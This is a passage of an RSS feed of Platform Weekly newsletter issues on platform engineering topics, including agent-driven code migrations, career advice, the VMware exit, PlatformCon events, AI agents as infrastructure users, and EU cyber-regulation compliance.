We move from PagerDuty to Incident.io, or from GitLab to GitHub. We\u2019re migrators. It\u2019s what we do\u2019. \nI couldn\u2019t help but laugh. Because behind the flashy titles and the platform conferences, much of platform work is thankless, behind the scenes and dirty work. In large organizations, a sizable amount of the work on our backlog is migrations. Whether that\u2019s migrating from CloudFormation to Terraform, or migrating off a monitoring or CI vendor to negotiate a better rate. \nHowever, actually automating those migrations, and not needing to send thousands of chaser emails and juggle spreadsheets is something platform teams have only dreamed of. There have been no real mainstream tools making it out of university campuses or big tech to help us here. \nBut, maybe not anymore? \nWith agents, it feels there is light at the end of this \u2018automated migrations\u2019 tunnel. Agents represent a leap from individual productivity to autonomy that has finally broken us out of the \u2018one developer steering a single AI\u2019 paradigm. We now have \u2018background\u2019 and/or \u2018async\u2019 agents that we can delegate to, and that means a new frontier we\u2019ve unlocked is that of migrations. \nEven if we take a simple coding agent like Claude Code, or Cursor with only the GitHub CLI, large parts of a migration can already be automated. \nFor instance: \n\n\nDiscovery and planning: If you give your agents search tools like gh search, we can ask our agent to search our entire codebase and filter out stale repositories using git history. Creating a CSV is simple for an agent that can be imported into a spreadsheet to track. The agent can even use gh issue create to create the migration issues, and with git history can find the developers or teams to assign the tickets to. \n\nExecution and feedback: Then, we can instruct and prompt an agent to pick up an issue with gh issue view to pull context and apply changes. When the coding is done we have gh pr create that we can use to open PRs and get human feedback. The agent can even pick up and address the comments using gh pr view --comments. \n\nValidation and rollout: To ensure that our changes work, build and lint correctly we can also programmatically read our continuous integration logs with: gh run view to iteratively fix build issues until our pull requests are green. \nEven with this simple, still somewhat manual approach, what would have taken weeks or months is now significantly compressed. You can see how adding sandboxing for isolating agents, orchestration to scale and triggers to respond to events like pull request comments gives us highly potent technology to rip through organization-wide migration projects.\nOf course, there are hurdles like securing agent executions, breaking down migrations into small steps, and the ecosystem catching up to provide high-quality MCP or CLIs for tools like issue trackers and continuous integration. But that being said: the foundational technologies are here. It\u2019s now more a discussion of how best to package these up and we might just be witnessing the \u2018sword being pulled from the stone\u2019 on large-scale automated migrations.\nSoon, everyday platform teams with modest budgets will have their own automated migration tools. Of course, agents aren't magic; they struggle with contextual business logic and require guardrails. Additionally, the market of tools for agent-powered migrations is nascent. That said, platform teams can and should start to explore and experiment so they have the right foundations in place to take advantage of these tools that are on the horizon. \nI\u2019ve already been working with customers on automated large-scale migrations by leveraging orchestrated background agents for use cases like CVE remediation, Java migrations, and keeping code aligned to standards. This feels like sci-fi even as I write it, but this interview with Matt and Chris on the Scaling DevTools podcast goes deeper into how it actually works orchestrating coding agents even in highly secure and regulated companies.\nScience fiction just became a lot less fiction and it\u2019s awesome to be a part of it.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  This is how to become a platform engineer\n  https://platformweekly.com/issues/this-is-how-to-become-a-platform-engineer\n  https://platformweekly.com/issues/this-is-how-to-become-a-platform-engineer\n  \n  \nHey there! This is Platform Weekly, your weekly journey into the fiery core of the platform engineering world. Every week I break down key topics in the platform engineering universe.\nThis is how to become a platform engineer\nIn the next few weeks, the platform engineering community will launch one of the first ever platform engineering courses and certification tracks. It is the topic I think I have been asked about the most over the last 3 years. Across live events, Slack, and replies to this newsletter - I get asked almost every day. \n\u201cHow can I become a platform engineer? And do you have courses?\u201d\nIt\u2019s no wonder that this question is on everyone's mind. Community events like PlatformCon have grown from 10k attendees to 35k attendees in just 3 years, the Slack community has exploded in size and activity, and research shows that Platform Engineers can earn up to 42.5% more than DevOps. Hell, my article \u201cHow to Become a Platform Engineer\u201d sat at the top of trending on The New Stack for weeks\u2026\nSo, that brings us to the question. What does it mean to be a platform engineer, and how do you become one?\nFirst, understand what that actually means. It\u2019s not as simple as just changing your job title on LinkedIn from \u201cDevOps engineer\u201d to \u201cplatform engineer\u201d. Platform engineers build and run their companies' Internal Developer Platform, and think beyond the idea of just tech and tools, to operate with a platform as a product mindset that sees their developers as customers.\nIf you want to be a successful platform engineer, you need to ask yourself:\n\n\nHow will you do user research to deliver something that solves real pain points?\n\nHow do you define golden paths that developers will love, so as to help ensure a high adoption rate for your platform?\n\nHow do you find the right level of abstraction that lowers cognitive load for developers without removing all the context?\n\nHow will you market the platform to all relevant stakeholders? How will you organize stakeholder buy-in to gain funding for your platform engineering initiative?\n\nWill you start with a minimum viable platform (MVP)? Or plan a really large initiative to cover all eventualities, even though it will probably take years to build?\nMost Ops professionals don\u2019t ask themselves these questions. But this is exactly what you need to know if you want to be a platform engineer.\nSo, you\u2019ve read all this and aren\u2019t scared off? Let\u2019s get started!\nI\u2019d recommend registering for PlatformCon (ofc), and starting with my TNS article. Then watch this content on the community youtube channel or if you want to jumpstart all this, join the waiting list on the Platform Engineering website.\nQuick bites\n\u200dArticles that blew me away: \n\n\nDevEx is not DevOps: Reduce barriers to CD with developer enablement\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  It's official: VMware doesn't care about you\n  https://platformweekly.com/issues/its-official-vmware-doesnt-care-about-you\n  https://platformweekly.com/issues/its-official-vmware-doesnt-care-about-you\n  \n  \nHey there! This is Platform Weekly, your weekly sip of platform engineering tea\ud83e\uded6\nIt's official: VMware doesn't care about you\nAs Broadcom VMware hammers customers with new changes in the mistaken belief they can\u2019t escape the lock-in, platform engineering and modular Internal Developers offer an escape route\ud83d\udd25\nJust a few months ago, Forrester predicted that 20% of all VMware customers would leave this year. It seems like Broadcom is trying to speedrun that stat. After buying VMware for $61 billion, and announcing their intent to \u201cfocus on their core 600 customers\u201d AND \u201cdouble earnings in the next 5 years\u201d, VMware has since dropped almost 50 products, removed permanent licenses, switched customers to subscriptions, and from the conversations i\u2019ve been having with customers - hit people with estimated 600-1000% price increases.\nThat sure is a lot of pain in a short time\u2026 Clearly Broadcom is counting on one thing, and if you\u2019ve much experience with VMware, you have experienced the impact of that lock-in. It\u2019s never been easy to exit the VMware ecosystem, but there has also never been much reason to.\nUntil now - on both counts.\nIn the last week, I helped publish a whitepaper that clearly breaks down how you can use platform engineering and a modular Internal Developer Platform to exit the VMware ecosystem. Specifically in three main cases:\n\n\nYou\u2019re using Tanzu as the K8s dial tone. Tanzu Kubernetes Grid (TKG) might run on VMware or any cloud provider. \n\nYou are using Tanzu Application Service (TAS), the former Pivotal Cloud Foundry (PCF ). You are running on VMware or any cloud provider.\n\nCase 3: You are using Tanzu Application Platform (TAP) and you are deeply integrated with all special capabilities that VMware has built into it like Mission Control or Wavefront.\nEach has varying degrees of challenge, but in each case platform engineering offers a clear, simple and tested solution.\nWhether you\u2019re looking to escape VMware yourself, or not.\nThe work in this whitepaper shows what I\u2019ve believed for a long time. Platform engineering has the power to radically reshape the current landscape.\nAnd to think we\u2019re just getting started.\nQuick bites\nArticles that blew me away: \n\n\nBroadcom\u2019s VMware Overhaul Draws Attention of CIOs\nFrom the community:\n\n\nHelp the Community better for all of us!]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  3 reasons AI needs platform engineering \n  https://platformweekly.com/issues/3-reasons-ai-needs-platform-engineering\n  https://platformweekly.com/issues/3-reasons-ai-needs-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly scuba through the platform engineering reef. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nBut first\u2026 this Platform Weekly is partnering with Jellyfish, the Intelligence Platform for AI-Integrated Engineering:\nPlatform teams are now the architects of AI transformation. That means getting adoption right, enabling developers, and proving it's working.\nJellyfish analyzed 20 million pull requests across 200K developers at 700+ companies to find out what actually drives results. Top AI adopters are seeing 2x the PR throughput. But most teams are leaving a lot on the table.\n\n\nExplore their AI Engineering Trends report and benchmark your org against real-world data.\n\nNot sure how to build the foundation that makes AI scale safely and consistently? They have a guide that covers exactly that.\n\nNeed to show leadership it's working? Request an AI Impact demo from them.\n3 reasons AI needs platform engineering\nIf you\u2019ve read anything from me or the wider community in the last 6 months you\u2019ve probably heard \u201cPlatform engineering is fundamental to the success of AI\u201d best exemplified by the famous Google Cloud stat where \u201c86% of leaders believe that platform engineering is essential to realizing the full business value of AI\u201d. \nThis idea has been on my mind for awhile now, but spread like wildfire across the industry with the publishing of the State of AI in Platform Engineering Vol.1 and the 2026 DORA report.\nWhat exactly does it mean when we say that? Let me break down 3 key reasons for it.\nPlatform engineering is the key (accidentally)\nYou don\u2019t need me to tell you the benefits of AI. The ability to enable engineers to massively supercharge the creation of software, or to autonomously create software itself. It\u2019s only possible to do this however if your security, your governance, your CI/CD, your testing, and all the other aspects of your software engineering organization are actually able to keep up with it.\nIt can only work if your team is locked in on making sure productivity is being properly measured, and if DevEx experience is actually being taken care of.\nAnd guess what? These are all key elements of platform engineering.\nThere are 12 table stakes that define all successful platform engineering initiatives. If you talk to a mature platform team - there is a 99.99% chance that they cover these 12 points.\nThese are things like platform as a product, infra automation, testing, API management, observability, cost management etc. ALL platforms should have these.\nAnd so it\u2019s no surprise that orgs with platforms are the ones who are able to deliver the incredible value that AI promises - as AI needs all of these things to succeed.\nFrom multicloud to\u2026 multiAI (infra)\nAI systems depend on extremely complex, rapidly evolving infrastructure stacks including models, data pipelines, GPU compute, storage, and cloud environments. \nIn the same principle as how your platform might enable multi-cloud, platform teams can build their AI infra as modular, building blocks covering compute, storage, networking, GPUs, and AI services. Devs are exposed through an abstraction layer in the IDP where they teams swap or integrate components without redesigning the entire stack. Your platform could enable teams to:\n\n\nSwitch AI providers or models as capabilities or needs change\n\nUse different GPU resources or orchestrators depending on cost or performance\n\nIntegrate new data sources or vector databases without rebuilding pipelines\n\nRun workloads across hybrid and multi-cloud environments\nYou can see immediately how this could drive an orgs capability. What if a new model from Anthropic is 10x better, cheaper or faster than an OpenAI or Google one? Just swap it. Does a new set of GPU resources cost 10% less? Then swap it. This kind of immediate hands-on freedom is a massive massive unlock.\nEveryone becomes a developer\nAt a round table 10 months ago, a Head of Platform at a major US retailer told me \u201cWe are on the path to any office worker in the company spinning up their own specialized micro-apps through the platform\u201d. The words of the conversation sounded basically sci fi, but as we talked through the platform engineering principles that would enable it - I knew exactly how it could be done. And how platform engineering was perfect for it.\nNow\u2026 almost every second conversation I\u2019m having is sharing that this is the path they\u2019re on.\nWe have entered the age of the Enterprise Citizen Developer, where non-developer colleagues can use AI to vibe code their own specialised microapplications. One conversation 2 weeks ago, \u201cOur CEO himself has coded out 17 micro-apps through the platform. Stuff he has always wanted to use for his own work, but didn\u2019t think it was worth dev time\u201d. That story is everywhere.\nHow does platform engineering enable this? We\u2019ll go back to point 1 in this newsletter.\nWhat does this idea need? It needs governance, security, policy, cost management, testing, change validation etc etc etc\nThese are all things that platform engineering provides.\nSo what does this mean for you? Well, if you\u2019re a platform engineer\u2026 you\u2019re a lot more important than you think. And if you're trying to get funding, or interest in your platform initiative, your boss might not be seeing the full picture.\nSo, make sure to send this to them;)\nQuick bites\nEvent highlight:\n\n\nHow to benchmark your platform: Quantify your pain (& solve it)\n\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Thu, 12 Mar 2026 00:00:00 GMT\n\n\n  PlatformCon is going worldwide\n  https://platformweekly.com/issues/platformcon-is-going-worldwide\n  https://platformweekly.com/issues/platformcon-is-going-worldwide\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly flight across the platform engineering globe. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\nBut first\u2026\n\n\nCheck out our new AI course! It\u2019s an absolute banger. Here is a discount code you can use: pw-350-off\n\nOn Tuesday next week, we\u2019re going to have an awesome conversation with Kelsey Hightower on pragmatic platform engineering for 2026. You can register here!\n\nAnd a great new article on the intersection between platform engineering & vulnerability management. Check it out.\nPlatformCon is going worldwide\nI am extremely excited to announce that PlatformCon is launching Live Days in 2026 in both Sydney, and Sao Paulo!\nIn 2022, Platform first started in the depths of the pandemic with a fully virtual way for 7,000 of us to come together online and discuss this new frontier of platform engineering. Things were murky and vague then. We were still defining (arguing about) terminology, and best practices were entirely theoretical.\nIn 2024, we did our first in-person day with 330 people in London to get a real sense of what it means to talk platform engineering in person. There was an energy there that felt like this sweet release of tension at finally getting to talk in-person about this discipline we\u2019re all so focused on.\nIn 2025, we went bigger. 700 people in London, 500 in Paris, and 450 in New York - not to mention just over 40,000 people joining the virtual content across talks, panels and workshops. It was honestly one of the best weeks of my life. It felt truly like the culmination of years of work and industry growth. No longer were panels about \u201cWhat is platform engineering?\u201d, they were about \u201cHow do we do \u2018great\u2019 platform engineering?\u201d\n2026 is going to be another step change. I\u2019m talking about thousands of platform engineers coming together across:\n\n\nLive Day London on June 23rd\n\nLive Day New York on June 25th\n\nLive Day Paris on September 24th\n\nLive Day Sydney on\u2026 well that we still need to reveal!\n\nLive Day Sao Paulo on November 7th\n\nLive Day\u2026 where next? You let us know;)\nPlatform engineering is at an inflection point in the software universe. More and more data from our own surveys, to DORA, to Google Cloud reveal that platform engineering is the fundamental layer to successful AI. And at the same time, platform engineering has grown to absorb more and more domains, and we discover that the core principles of the discipline drive incredible value in the realms of security, observability, FinOps, data and more.\nThat means there is a greater need than ever for us to come together, debate best practice, learn from each other and take that learning out to the world.\nAnd I'm so grateful to be on this journey with you. Stay tuned for more deets, CfPs, ticket information and everything else. Let\u2019s goooo!!\nEvent highlight:\n\n\nInfra governance for rule breakers: How to make guardrails invisible\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!\n ]]>\n  \n  Fri, 13 Mar 2026 00:00:00 GMT\n\n\n  5 lessons from Nvidia, Kubecon & RSA\n  https://platformweekly.com/issues/5-lessons-from-nvidia-kubecon-and-rsac\n  https://platformweekly.com/issues/5-lessons-from-nvidia-kubecon-and-rsac\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly print of the platform engineering boarding pass. Every week, we dive into best practices, news, lessons, and updates from the platform engineering community.\nP.S. Check out the new open source AI agent harness, AURA. It\u2019s a production-grade runtime + orchestration layer that lets AI agents run as real systems (with workflows, tools, observability, etc.).\n5 lessons from Nvidia, Kubecon & RSAC\nWe\u2019ve had one of the most hectic few weeks in Platform Engineering Community history - 6 in-person events, 5 conferences, and 2 talks across 3 countries.\nIn Amsterdam, I got the chance to take the full temperature of EMEA at our roundtable, workshops, and Exec dinner in Amsterdam. While at the same time, we scouted out the world at Nvidia GTC in San Jose, Qcon in London, RSAC in San Francisco, and SREcon in Seattle. Here are my 5 crucial takeaways from this platform engineering world tour:\nIdentity management is the new perimeter: It couldn\u2019t be better timed to share our latest course on Infrastructure Identity for Platform Engineering. It was clear, diving into the pandemonium of RSAC, the world\u2019s largest cybersecurity conference, that with the explosion of machine-to-machine interactions (API keys, service accounts, AI agents, etc.), NHI management is on the path to top priority\nCognitive load is going up, not down: New survey day (plus anecdotally from dozens of convos over the last 2 weeks), 2/3 of engineers say they are more stressed than 5 years ago with the onset of AI. Overwhelmingly, as AI speeds up throughput through code gen, research, and prototyping, most of those I talked to are just ending up with more parallel work, more unfinished threads, and more decisions per hour - and nowhere near less work. \nThroughput is massively up, but nothing else is: New data confirms that throughput is up 59%+ on average, but only 5% are actually turning that into real delivery improvement. For others, despite higher throughput, they\u2019re seeing more changes failing on main, worse MTTR, and, for the most part, are running faster and faster but staying in the same place.\nThe AI bubble isn\u2019t going anywhere: Each of these 5 conferences focuses on different domains, but to no one's surprise, 95% of what every booth is talking about, every talk is exploring, every Meetup, meeting, and coffee chat is zoomed in on is, of course\u2026 AI. But not the way we used to. Even just 6 months ago, we still dealt overwhelmingly in abstracts and hypotheticals. Now I\u2019ve seen dozens of separate demos of coding agents, watched AI SREs diagnose and remediate issues that would\u2019ve taken hours to otherwise solve, and watched one of the more advanced examples, an agent control plane managing half a dozen agents rebuilding a legacy monolith while the rest of the team focuses on new apps. What made these systems actually work wasn\u2019t just the models; it was the platform scaffolding underneath them - identity, boundaries, and validation. We are moving from the messy middle to build real, long-lasting, and high-powered agentic development. Stay tuned for a lot more from me on this topic.\nEvery layer of AI needs platform engineering: Whether you\u2019re talking about AI-native infrastructure and GPU management with Nvidia, AI SRE best practices in SREcon, or managing a fleet of parallel coding agents at KubeCon\u2026 It\u2019s the teams with platform engineering who are both pushing ahead into new frontiers and actually delivering on the promise of these core AI trends.\nWhat were your takeaways? Reply and let me know.\nQuick bites\n \nHighlight of the week:\n\n\nAURA!! Go check it out.  If you're thinking about how AI actually runs in real environments, not just demos, this is a practical look at where the space is heading (and for some of us, we are already there).\n \nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community Youtube channel!]]>\n  \n  Mon, 27 Apr 2026 00:00:00 GMT\n\n\n  How to surv(ai)ve\n  https://platformweekly.com/issues/how-to-survive-ai\n  https://platformweekly.com/issues/how-to-survive-ai\n  \n  \nMy advice for surviving layoffs.\nHey there! Welcome to Platform Weekly. Your weekly poach of the platform engineering egg. Every week, we dive into best practices, news, lessons and updates from the platform engineering community.\n\nPlus\u2026 don\u2019t miss House of Kube at Google Next for the first time ever\nMy advice for surviving layoffs.\n \nThis is a more serious and intense Platform Weekly than I have written in a long time. Yesterday, I had dinner with a friend who shared that they had been laid off. The day before, I'd had lunch with two former colleagues, both had been laid off. On Monday, I had a beer with another friend whose entire department had also been laid off.\nAt the same time, I receive emails, Slack and LinkedIn messages every single day from people across our industry looking for jobs, or fearing for their own.\nI am not a life coach, or a therapist, so I will speak only about our universe and what I\u2019ve learned from our 270k-strong community and the dozens of workshops, roundtables, and 100s of leaders that I\u2019ve talked to in the last 6 months.\nThe fundamental point is simple (relatively). You need to be AI-first.\nAs an organization, as a team, a department, but most of all as an individual.\nYou might hate AI, you might resent AI, you might think it\u2019s slop or a fad, or disagree fundamentally whether it\u2019s the future or not, but at the end of the day - to your boss, and their boss, and so on up the chain - it is the most important thing in the world.\nWhat are three things you can do to massively improve your position?\nKnow your story: Platform engineering is a foundational stone of successful AI. The organizations that win this aren't the ones with the best model; they're the ones with the best platform. Models are becoming a commodity. The platform that harnesses them is the differentiator. I live that. I breathe that. I\u2019ve got the data to back it. That is my story. Why might my platform engineering team need to be kept? Because you need us if you want your AI initiatives to succeed. Why should I stay on board? Because you need me to build the Agentic Developer Platform that determines whether your boss's boss\u2019s AI goals succeed. \nPlay the game: Sure, your boss probably has no idea what they're talking about. You probably can't build an agent over the weekend to migrate all your crap off Cobol as they proposed. Or rewrite that legacy monolith into Rust - as background execution at that scale requires platform infrastructure your teams don't have yet. But your response to these \u201cvisionary\u201d ideas can\u2019t just be to scoff and retreat back to tweaking some Terraform modules. The game right now is crazy, ambitious, and often very successful, and sometimes not, experimentation with AI.\nShould you spin up an agent to rewrite that monolith into Rust? Probably not. But you can \u201cNo, but\u2026\u201d your boss on the path of other AI experimentation. You tell your boss, \u201cThat idea we shouldn\u2019t do, but we can try and use AI to map dependencies, generate test coverage, and identify which parts of the monolith are realistic candidates for extraction or rewrite. We can then build agents to validate those changes (and iterate), catch regressions, and enforce some quality, and we can do it in a way that proves out the platform architecture we need to do this safely at scale.\" There are a lot of times we need to say, \u201cno\u201d. But you also need to say \u201cNo, but\u2026\u201d and show you are playing the same game. The \"Probably not\" becomes a platform-maturity argument rather than a practicality one, and the counter-proposal now explicitly connects the experimentation to building the platform architecture\u2026 so you're not just redirecting your boss's idea, you're using it to tell your story.\nUpskill, upskill, upskill: You need to be learning how to operate in this new world. That means understanding how AI changes platform engineering, the fundamentals of evolving to Agentic Developer Platforms, and the core tenets of building and utilizing agents across the SDLC. You need to be AI-native. There are currently three AI-focused courses on the Platform Engineering University, with many more on the way, focused on exactly this. Intro to AI in Platform Engineering, which will give you the story, AI in Platform Engineering, which will help you play the game, and Agentic AI in Platform Engineering, which will ensure you have the skills to operate at the very top of this new frontier. You will be able to tell your boss, \u201cNo, that idea is stupid. But I have a great one you\u2019ll love,\u201d and then actually do it.\nAt the end of the day, layoffs can be completely random. There are no 3 tricks that guarantee you\u2019ll keep a job. \nBut if you fully understand and are focused on these 3 things, there is a very good chance you will do more than just survive in this new frontier; you\u2019ll thrive.\nQuick bites\n \nHighlight of the week:\n\n\nMeet Unify: Governed AI that knows your delivery. Check out our new community format, Platform Engineering Demo, where Community members and partners show off their tools. \n \nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren\u2019t able to attend? We\u2019re uploading more every day on the community YouTube channel!\n ]]>\n  \n  Fri, 10 Apr 2026 00:00:00 GMT\n\n\n  AI agents are your new infra users\n  https://platformweekly.com/issues/ai-agents-are-your-new-infra-users\n  https://platformweekly.com/issues/ai-agents-are-your-new-infra-users\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly slice of platform engineering pie. Every week, we dive into another corner of the platform engineering universe, from industry insights and community news to practical lessons and live demos.\nPlus\u2026 80% (so far) are seeing positive ROI from AI!? We\u2019re at the beginning of our State of AI in Platform Engineering survey. Share where your ROI stands!\n \nThe panel topic at next week's IaCConf has been keeping me up at night. \"Platform Engineering in the Age of AI Teammates. Building platforms when AI agents are the new consumers.\"\nLet\u2019s pause on that for a second. AI agents are the new consumers.\nAlmost every platform engineering decision we've made in the last decade has been for human developers. Just as we began the journey of massively expanding the platform persona to security, observability, and beyond, we need to expand 10x further as soon the majority of platform use will be from AI agents.\nAnd yeah\u2026 it works. Until it doesn\u2019t. We\u2019ve got the speed. But we\u2019ve also get the weird breakage you can\u2019t actually explain. We\u2019ve 10x\u2019d the ability to move fast, and thus 10x the power to break things.\nThe Spacelift team is running IaCConf 2026 on May 14 with exactly this question at the center. 20+ IaC leaders across 13 sessions, including Corey Quinn (\"AI Speaks Terraform Like a Tourist\"), Matt Gowie (\"From IaC to Agents\"), Amin Astaneh (\"10x Velocity, Operational Risk\"), and yours truly on the AI Teammates panel.\n \nThe questions worth your morning:\n\n\nWhen does AI-generated IaC help vs hurt? 10x throughput is real (the gain is parallel agents, not faster individuals). But so is 10x blast radius.\n\n\nWhat replaces Terraform workflows at scale? When agents skip the plan/review step, what catches them?\n\n\nHow do you deploy agents without losing control? Policy-as-code stops being a nice-to-have.\n\n\nWhat does platform engineering look like for non-human users? Spoiler: it isn't a portal;)\n \nHere's the angle I'll be bringing. This is a platform race, not a model race. Platform engineering for AI agents isn't a UX problem. It's a contract problem. Human developers needed ergonomic interfaces, helpful errors, opinionated defaults. Agents need deterministic feedback loops, structured failures, and blast-radius controls baked into the platform itself. The IDP that won the human-dev era doesn't disappear. It evolves into an Agentic Developer Platform (ADP) for the coming autonomous-agent era. Same backbone, new contract.\n \nAnd IaC is the canary. It's where the agent contact surface is most direct, where guardrails are most testable, and where the consequences are most immediate. Get the platform contract right, your throughput multiplies. Get it wrong, you're the disaster girl meme. \nExcept it's 15,000 resources, not 150\n \nRegister now. Virtual, free, and if you're sitting on this question, May 14 is where we dive into some answers!\nQuick bites\nHighlight of the week:\n\n\nHow to watch the watcher: Investigating vulnerability scanner reports 101\nFrom the community:\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n\n ]]>\n  \n  Fri, 08 May 2026 00:00:00 GMT\n\n\n  EU regulators handed platform teams a gift. Claim it!\n  https://platformweekly.com/issues/eu-regulators-handed-platform-teams-a-gift\n  https://platformweekly.com/issues/eu-regulators-handed-platform-teams-a-gift\n  \n  \n \nHey there! Welcome to Platform Weekly. Your weekly stir of the platform engineering pot. Every week, we round up the best the community has been cooking, with a side of warm takes from your friendly neighborhood host.\nPlus\u2026 we have launched Platform Engineering Consulting (PEC)!! I am super excited to share that we are making it easier for teams to work with us. Check out the website to understand what it\u2019s all about.\nLast week I pinged a bunch of you about an upcoming community webinar on the Cyber Resilience Act and the response\u2026 was basically a shrug. Oof. The wave of regulation tightening through 2026 (CRA, EU AI Act etc) isn't just a hassle for the CISO. It's the single biggest opportunity platform teams have been handed in years, and you're sleeping right through it.\nThe dream world regulators live in is, almost word for word, the dream world a platform team wants to live in. Secure by default. Golden paths. Automated SBOMs. Centralized observability. We've been arguing for this stuff for half a decade! Now it's becoming law.If your company does business in Europe, your platform team has been handed its greatest weapon for securing budget and attention this year.\nNigel Douglas at Cloudsmith (def one of the sharpest people working on supply chain security in the community right now) wrote an awesome piece, and a gave a companion webinar on everything you need to know on the CRA and how platform teams operationalize it. He breaks down a four-part framework for surviving the CRA\u2019s requirements:\n\n\nHardening the golden path: Bake the requirements into the IDP so every new service is compliant from git init. Hardened base image, pre-configured logging, mandatory auth, the works.\n\n\nAutomating the SBOM and dependency chain: Every push generates an updated SBOM. The audit trail goes from a manual nightmare to a byproduct of the pipeline.\n\n\nSelf-service compliance via templates. IaC modules that disable public access, enforce TLS 1.3, prohibit weak defaults by design. Gates that block containers with known-exploited CVEs.\n\n\nIncident response and telemetry: Observability that flags exploit patterns automatically, so the 24-hour reporting window stops being terrifying.\nRead that list again. Every one of those is something a good platform team is already trying to build, or wishes they had cover to build. Now you have the cover.\nNigel calls this compliance becoming \"a byproduct of the developer workflow, not a blocker to it.\" The orgs that figure it out before September 2026 are going to find themselves with faster audits, easier enterprise sales conversations, and the funding they need for their platform dreams. The orgs that don't? They'll be panic-buying tools and building security slop in crunch time at 2am.\nWhat are you waiting for? Take a look at Read Nigel's full breakdown, and start using it\u2019s arguments to pitch your boss.\nQuick bites\n\n\nThe sirens of IT Ops want to drown your platform crew\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 22 May 2026 00:00:00 GMT\n\n\n  State of AI in Platform Engineering\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-survey\n  https://platformweekly.com/issues/state-of-ai-in-platform-engineering-survey\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering grappa. Every week, we round up the best the community has been cooking, with best practices, community updates and news.\nThe maturity growth of AI in platform engineering is like nothing I have ever seen before. It took four years for the conversation in platform engineering to change from \"what is this thing\" to \"here is the specific formula to do it best\". I've watched that change with AI firsthand over the last 6 months.Nothing captures that change better than the community's annual report, The State of AI in Platform Engineering. For one thing, it's not annual anymore. We put out the last one 7 months or so ago. And we're about to put out the next.That's right. Sam and I are currently writing The State of Platform Engineering Vol. 2, and I need your help to finish it. And at the same time you can benchmark where you stand on AI.\nThis was an annual report that has to come out 6 months early, simply because, as I read back Vol.1, it feels like it was published ten years ago. So, what is in this one that just can\u2019t wait 6 more months?\n\n\nA detailed breakdown of the Agentic Development Platform from how to transition your IDP into one, what it does, how it works and how it drives AI ROI across your entire organization (And not just your IT organization;). Basically: How are teams failing with, succeeding with, and getting ROI from agents?\n\nA breakdown of how platform engineering intersects with AI infrastructure, from open source, composable stacks put out by NVIDIA, AMD etc to how GPU economics and management are becoming 1st class problems for your platform\n\nHow to benchmark yourself and your team, and what it really means to be an \"AI-native\" organization. What are the best teams doing, and where is the industry at large?\nWe are asking what teams use AI for, how orgs structure their AI initiative (from security to mandates), how AI identities are managed, how teams are approaching validation, shadow AI, threat risks, cost issues, and of course, throughout, ROI and maturity. This will be the definitive snapshot of where the industry is right now.\nI experienced firsthand a few months ago, where I was walking around feeling like I was absolutely at the forefront of AI, then had dinner with some friends and realized, \"Oh shit, I'm behind. Very behind.\"\nThis is a common trend among so many people that I talk to. Folks suddenly realizing (or not noticing at all\u2026) that they are way behind where the frontrunners are.\nThis report intends to solve that. Help us finish it.\nHighlight of the week\n\n\nTurning software teams agentic; a leadership perspective\nFrom the community\n\n\nWant to watch the recordings of PlatformCon workshops and talks you weren't able to attend? We're uploading more every day on the community YouTube channel.\n ]]>\n  \n  Fri, 29 May 2026 00:00:00 GMT\n\n\n  Turning software teams agentic; a leadership perspective\n  https://platformweekly.com/issues/turning-software-teams-agentic-leadership-perspective\n  https://platformweekly.com/issues/turning-software-teams-agentic-leadership-perspective\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly altitude check of platform engineering ambition. Every week, we bring you the sharpest thinking from the community, straight to your inbox.\nPlus\u2026 28.1% of teams (so far) say they are massively struggling with shadow AI. What about you? Answer our State of AI in Platform Engineering survey and let us know!\nHow to become an agentic organization\n5 years ago when I was talking about platform engineering, it was hard to tell whether I was truly ahead of the curve or was the lunatic people kept telling me I was. For the first time in a while, I'm starting to get that feeling every day again. I love it.\nMy friend Ajay Chankramath, CTO at Platform Engineering Consulting and Community Ambassador ran an awesome webinar yesterday on what it actually takes to turn a software organization agentic. Not just walking through our theory of the four levels I broke down a few weeks ago, but the practical leadership decisions that determine whether your org actually climbs them. This is the same type of thing he and the team will be talking about at PlatformCon in a few weeks. If you\u2019re in NYC or LDN, you need to come chat about it.The four levels:\n\n\nLevel 1: Human in the loop\n\nLevel 2: Human on the loop\n\nLevel 3: Humans as orchestrators\n\nLevel 4: Fully autonomous\nSo why does this matter? Well, our data shows that 88% of firms are running AI coding experiments. 5.5% report significant business impact. I\u2019ve said it before. It's not a model problem. It's whether your production systems are designed to capture value at organizational scale.\nThe majority of organizations are at L1 trying to get to L2. The tooling jump from L1 to L2 is truly tiny. What you have to do as a leader to move from L2 to L3 is what organizations are failing at.\nThree bottlenecks we\u2019ve noticed across the 100+ orgs he\u2019s talked to this year:\n\n\nWork dispatch: Your sprint model assumes sequential human work. When agents generate PRs in parallel, you need a proper dispatch path which means clear agent identity, scope definition, and workspace provisioning. Without it, agent work has nowhere to land.\n\n\nValidation loops: Traditional validation is a gate. For agents, it needs to become a loop. Agents iterate through CI, security scans, and policy checks until they pass. Gate-based review at L2 volume will drown your engineering org.\n\n\nRisk governance: Who approved that agent-generated change? Which non-human identity modified that API contract? Without agent-aware audit trails, you can't pass a regulatory audit. That's a current problem, not a future 